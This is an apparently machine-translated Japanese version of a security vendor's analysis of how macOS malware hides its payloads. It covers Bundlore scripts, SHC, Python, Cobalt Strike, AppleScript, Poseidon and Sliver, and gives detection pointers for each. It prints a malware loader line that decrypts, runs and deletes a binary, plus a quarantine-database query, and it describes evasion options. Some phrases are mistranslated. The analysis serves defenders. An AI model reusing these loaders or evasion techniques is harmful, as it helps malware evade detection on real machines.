macOS ペイロード | 7つの一般的および新たな難読化手法

最近の投稿「脅威アクターが企業に macOS マルウェアを配信する 7 つの方法」では、脅威アクターが現在 macOS システムの初期侵害を達成するために使用している一般的なメカニズムのいくつかについて説明しました。 この投稿では、最新の macOS マルウェアの調査を続けます。 難読化と回避を試みるものに重点を置いた、一般的または出現中のさまざまな種類のペイロード.

スクリプト、SHC シェル スクリプト コンパイラ、難読化された Python、Go インプラント、および最近の macOS を標的としたキャンペーンで見られた難読化された Cobalt Strike ビーコンのまれな目撃例を調べます。

1.隠しスクリプト

Shlayer マルウェア、コモディティ アドウェア、および PUP プラットフォームによって最初に普及した方法は、多くの場合コンテンツ ルアーを通じて、ディスク イメージで配信されるシェル スクリプトを引き続き利用します。

一部のマルウェア ファミリは、このようなスクリプトをアプリ バンドルの実行可能ファイルとして使用します。

/Volumes/Player/Player_253.app/Contents
/MacOS/MUwj3QKorpMfT39foaHiE5Cf6oBSVw

バンドル スクリプト

また、スクリプトを直接ディスク イメージ ファイルにドロップし、ユーザーにエイリアスを介してスクリプトを実行するよう促すものもあります。 サンプル 2070b149b7d99cd4b396a8b78de5a28c1f2b505a は代表的な例です。

ディスク イメージに隠された macos マルウェア スクリプト

ディスク イメージをマウントすると、マルウェアを開き、組み込みの macOS ゲートキーパーの制限を回避する方法に関する 2 段階のグラフィカルな指示がユーザーに表示されます。

ゲートキーパー バイパス

隠しファイルが表示された状態で Finder のディスク イメージを調べると、ユーザーが右クリックするように促されている[Install PKG]アイコンが、適切に呼ばれる隠しディレクトリにあるシェル スクリプト ファイルのエイリアスであることは明らかです。 .hidden.

スクリプトは少し難読化されています。 内部にディレクトリを作成した後 /tmp ランダムな 12 文字の名前を持つこのウイルスは、最終的に、同じディレクトリにあるデータ ファイルから抽出された実行可能ファイルを復号化し、実行し、削除します。

/bin/bash -c eval '$(echo 'openssl enc -aes-256-cbc -d -A -base64 -k '$archive' 
-in '$appDir/$archive' -out '$tmpDir/$binFile' xattr -c '$tmpDir/'* chmod 777 
'$tmpDir/$binFile' '$tmpDir/$binFile' && rm -rf $tmpDir')'

マルウェアは、仮想マシンで実行されているかどうかを確認するために、多数のシステムおよび環境変数を照会します。 また、ローカルの LSQuarantine ファイルを読み取って、ダウンロードしたディスク イメージのソースを確認し、次を含む URL を検索します。 %s3.amazonaws.com%これは、このバージョンの Bundlore が AWS を使用して第 1 段階のディスク イメージを配信していることを示唆しています。

sh -c sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 
'select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString 
like '%s3.amazonaws.com%' order by LSQuarantineTimeStamp desc limit 5'

この情報は次に C2 に送信され、追加のペイロードが返され、マウントされて起動されます。

SentinelOne は、このようなスクリプトベースのマルウェアを検出します。この特定のペイロードは、 Bundlore.E、よく知られた商用アドウェアおよび PUP 配信プラットフォームです。

2. シェル スクリプト コンパイラ

Shell Script Compiler は、略して SHC と呼ばれる Github リポジトリであり、スクリプトを使用して難読化された C ソース コードを生成します。 次に、ソース コードがコンパイルおよびリンクされ、ストリップされたバイナリ実行可能ファイルが生成されます。 これらのバイナリは完全に独立しているわけではありませんが、スクリプトがターゲット OS でデフォルトで検出されるシェルを使用する場合 (例: /bin/sh/ macOS で)、実行は問題になりません。

SHC シェル スクリプトで XCSSET ニューロビンをコンパイル

SHC には、マルウェア作成者に役立ついくつかのコンパイル オプションが付属しています。 -U オプションは、バイナリを ptrace で追跡できないようにしようとします。 お茶 -e オプションを使用すると、作成者は、プログラムが実行されなくなる有効期限を設定できます。 これの便利な副作用の 1 つは、-e の異なる値でコンパイルされた場合、同じスクリプトが異なるハッシュを持つバイナリを生成することです。

CHS ソースコード

SHC は XCSSET マルウェアによって頻繁に使用されており、最近では Linux ペイロードを難読化することが確認されています。 攻撃者の観点から見たその大きな利点は、静的分析では読み取ることができない悪意のあるスクリプトを非常に簡単に作成できることです。 -e オプションで、際限なく異なるハッシュ値を持つことができます。 SHC でコンパイルされたバイナリが何をするかを発見する唯一の方法は、サンドボックスで爆発させ、その動作を観察することです。

XCSSET macOS マルウェアによって実行される SHC ペイロード

SHC でコンパイルされたバイナリは静的に検出され、疑わしいものとしてマークされます。これは、コンパイラが独特の文字列署名を生成するためです。 ただし、無害なコードと悪意のあるコードを区別できるのは、行動ソリューションだけです。

3. Python難読化ツール

Apple は、Monterey 12.3 以降を実行している macOS デバイスでの Python 2.7 のサポートを 2022 年に削除しました。その結果、Python 2.7 は攻撃者にとって以前ほど魅力的なオプションではなくなりました。

ただし、Python のローカル バージョンがインストールされるエンタープライズ環境はまだたくさんあります。Python はあらゆる分野の開発者に非常に人気があり、Meterpreter や Empyre などの Python ベースの攻撃フレームワークの「バック カタログ」が存在するためです。依然として攻撃者とレッドチームの両方に好まれています。

Python スクリプトをパッケージ化する .pyc コンパイルされた Mach-O も依然として実行可能な攻撃オプションですが、より一般的には、Meterpreter のようなフレームワークは、実際のペイロードを難読化するために複数回 base64 でエンコードされます。 これらの多くは、静的エンジンによって検出されないままですが、実行時に SentinelOne などの行動ソリューションによって認識されます。

難読化された python マルウェアのウイルス総数
難読化解除された python Meterpreter

4.難読化されたコバルトストライク

Cobalt Strike は、Windows の世界を標的とするマルウェアで広く見られますが、Mac マルウェア キャンペーンではあまり一般的ではありませんが、前代未聞ではありません。 SentinelLabs は、表向きは無関係な 2 つのキャンペーンが難読化されたバイナリで Cobalt Strike ビーコンをドロップしていることを確認しました。

2021 年 9 月の OSX.Zuru キャンペーンには、iTerm2、Mac 用 MS リモート デスクトップ、SecureCRT、Navicat 14 などの一般的なエンタープライズ アプリのトロイの木馬バージョンを使用したサプライ チェーン スタイルの攻撃が含まれていました。これらのトロイの木馬は、高度に難読化された Mach-O を被害者のデバイス /private/tmp/GoogleUpdate.

このファイルは UPX で圧縮され、C で記述された 5 MB の Mach-O に解凍されます。この実行可能ファイルは高度に難読化されており、ほぼ完全にジャンク コードの 40,000 を超える関数が含まれています。 同じ技術的な難読化が、後に PyPI に対する pymafka 攻撃でも見られ、約 3 MB の Mach-O 実行可能ファイルが /private/var/tmp/zad.

難読化手法は、バイナリ セクションのエントロピーと md5 ハッシュから認識できます。 特に、 __cstring セクションの md5 値は c5a055de400ba07ce806eabb456adf0a.

macOS Mach-O での難読化されたコバルト ストライク

セクション エントロピーを使用して、これらのバイナリを静的に認識することもできます。

難読化された Cobalt Strike セクション エントロピー pymafka

5. 難読化された AppleScript

AppleScript には、OSX および macOS システムでの悪意のある使用の長い歴史があり、やや過小評価されてきました。その理由の 1 つは、その寿命が長いこと (Python よりも長く使用されている) と、最近まで Apple がそのセキュリティへの影響にほとんど注意を払っていなかったことです。 Apple が TCC やその他の制限を使用してこれを抑制しようとしているにもかかわらず、これは正当な目的と悪意のある目的の両方で信じられないほど強力なツールであり続けています。

ごく最近まで、AppleScript の最もよく守られていた秘密の 1 つは、「実行のみ」オプションを使用してほとんど元に戻せないコンパイル済みコードを生成する機能でした。 実行のみの AppleScript とそれらを元に戻す方法については、こちらの SentinelLabs の投稿で詳しく説明されていますが、実際に発見された手法の中で、4 バイトの 16 進文字エンコーディングを使用して、ある実行のみのスクリプトを別のスクリプト内に埋め込むという特に巧妙な手法が発見されました。

難読化された AppleScript マルウェア

このようなスクリプトは組み込みツールで逆コンパイルできません osadecompile サンドボックスでの動的分析または重大なリバース エンジニアリング作業が必要です。 静的検出を使用して、埋め込まれた 16 進文字の存在と、AppleScript ブロックの終わりをマークする独自の AppleScript マジック FADE DEAD を検出できます。

AppleScript FADE DEAD

Python が必要な人勝利のためにGO

Apple がデフォルトの Python スクリプト インタープリタを削除したこともあり、多くのマルウェア作成者は Google の Golang に目を向けています。 Go で記述された Mach-O バイナリには、実行可能ファイル内に Go ランタイム環境が含まれるという利点があります。この機能により、実行が保証されますが、ファイル サイズが異常に大きくなります。 このファイル サイズは、攻撃者に対しても攻撃者に対しても機能します。一方で、大きなバイナリは、ソリューションとユーザーの両方にとって簡単に見つけられます。 一方、サイズが大きいため、一部のセキュリティ ソリューションやサンドボックスで問題が発生する可能性があり、パフォーマンス上の理由から、取り込める最大サイズが制限される場合があります。

Go バイナリは、大量の Go インポート、ランタイム関数、およびサードパーティ パッケージから悪意のあるコードを分離するための新しいツールと方法を開発しなければならないアナリストやリバース エンジニアにも課題をもたらします。 また、Go バイナリの文字列は終端の null 文字で区切られていないため、文字列を効果的に処理する方法を開発する必要もあります。

ここで取り上げるペイロードの最後の 2 つの例は、どちらも Go ベースであり、この言語がマルウェア作成者の間で人気を博した理由の良い例です。

6. ポセイドン インプラント

Poseidon は、レッド チーム フレームワーク Mythic の Golang エージェントであり、オペレータに「ビーコン」を返し、感染したマシンでさまざまな機能を許可します。

Poseidon のソース コードと逆アセンブル

上の画像は、オペレーターがさまざまなタスクを実行できるようにするさまざまな goroutine のソース コードを左側に、逆アセンブリを右側に示しています。 ゴルーチンはパフォーマンスの高い同時実行を提供し、Poseidon では、被害者のデバイスとオペレーターの間でファイルを送受信するなどの目的で使用されます。

Poseidon では、攻撃者がキーストロークを記録したり、画面キャプチャを取得したり、永続性やその他のバックドア機能をインストールしたりすることもできます。 Poseidon の最近の注目を集めた実環境での使用は、Rust 開発コミュニティに対する CrateDepression サプライ チェーン攻撃でした。

Poseidon ペイロードの検出は、コンパイルされた Poseidon バイナリの文字列が独特のシグネチャを持っているため、アンパックされるとかなり簡単です。 ソースコードはオンラインでも入手できます。

7.スライバーインプラント

野生のキャンペーンでますます使用されているもう 1 つのオープンソース攻撃フレームワークである Sliver は、1 人以上のオペレーターが中央サーバーを介して複数のインプラントを管理できる C2 システムです。 DNS、HTTPS、Mutual TLS、および Wireguard を介して攻撃者にコールバック プロトコルを提供し、ドメインの検出とブロックを回避するのに役立ちます。

Sliver バイナリは約 10 MB 以上になるため、セキュリティ チームが大きな実行可能ファイルを処理できるソリューションを用意することが重要になります。 Sliver プロジェクト自体は、それ以上の難読化やパッキングをサポートしていませんが、実際のサンプルは、既製またはカスタムの UPX パッキングで見つかる場合があります。

Sliver は、最近の macOS マルウェアで確認されており、Apple ソフトウェア更新バイナリを装い、ユーザーの Library LaunchAgents フォルダに永続性をインストールします。 このキャンペーンは、Apple 独自のソフトウェア (Xcode など) を一切使用せず、UPX、MacDriver、Platypus などの無料ですぐに入手できるツールを使用する点で興味深いものでした。

スライバー データ セクション

Poseidon のように、Sliver は単純なファイル シグネチャで検出するのはかなり簡単です。 __DATA セクション。 ソースコードはこちらから入手できます。

結論

上記で説明したペイロード タイプと難読化メカニズムは、決して macOS で見られるものだけではありません。別の場所で説明した Pirrit や Adload などのアドウェアは、この点で技術を進化させ続け、クロスプラットフォームを活用しています。 Go や Kotlin などの言語。 SilverSparrow などのマルウェアは、パッケージ インストーラー内でペイロードを偽装して配信する興味深い方法を発見しました。

すべてのストライプの攻撃者は、第 2 段階と第 3 段階のペイロードを配信するために curl に依存しています。 ただし、Apple は Gatekeeper のセキュリティ設定をバイパスするダウンロードをブロックする独自の試みを続けているため、最初の感染に後期段階のペイロードを埋め込むマルウェアが増え、これらを成功させるために難読化と回避の取り組みを進化させることが予想されます。

現在の macOS マルウェア ファミリで観察されたいくつかの手法の概要が、防御側が組織とユーザーをより適切に保護するのに役立つことを願っています。

SentinelOne Singularity とそのネイティブ アーキテクチャ エージェントが macOS フリートを保護する方法について詳しく知りたい場合は、お問い合わせいただくか、無料のデモをリクエストしてください。

Leave a Comment

Your email address will not be published. Required fields are marked *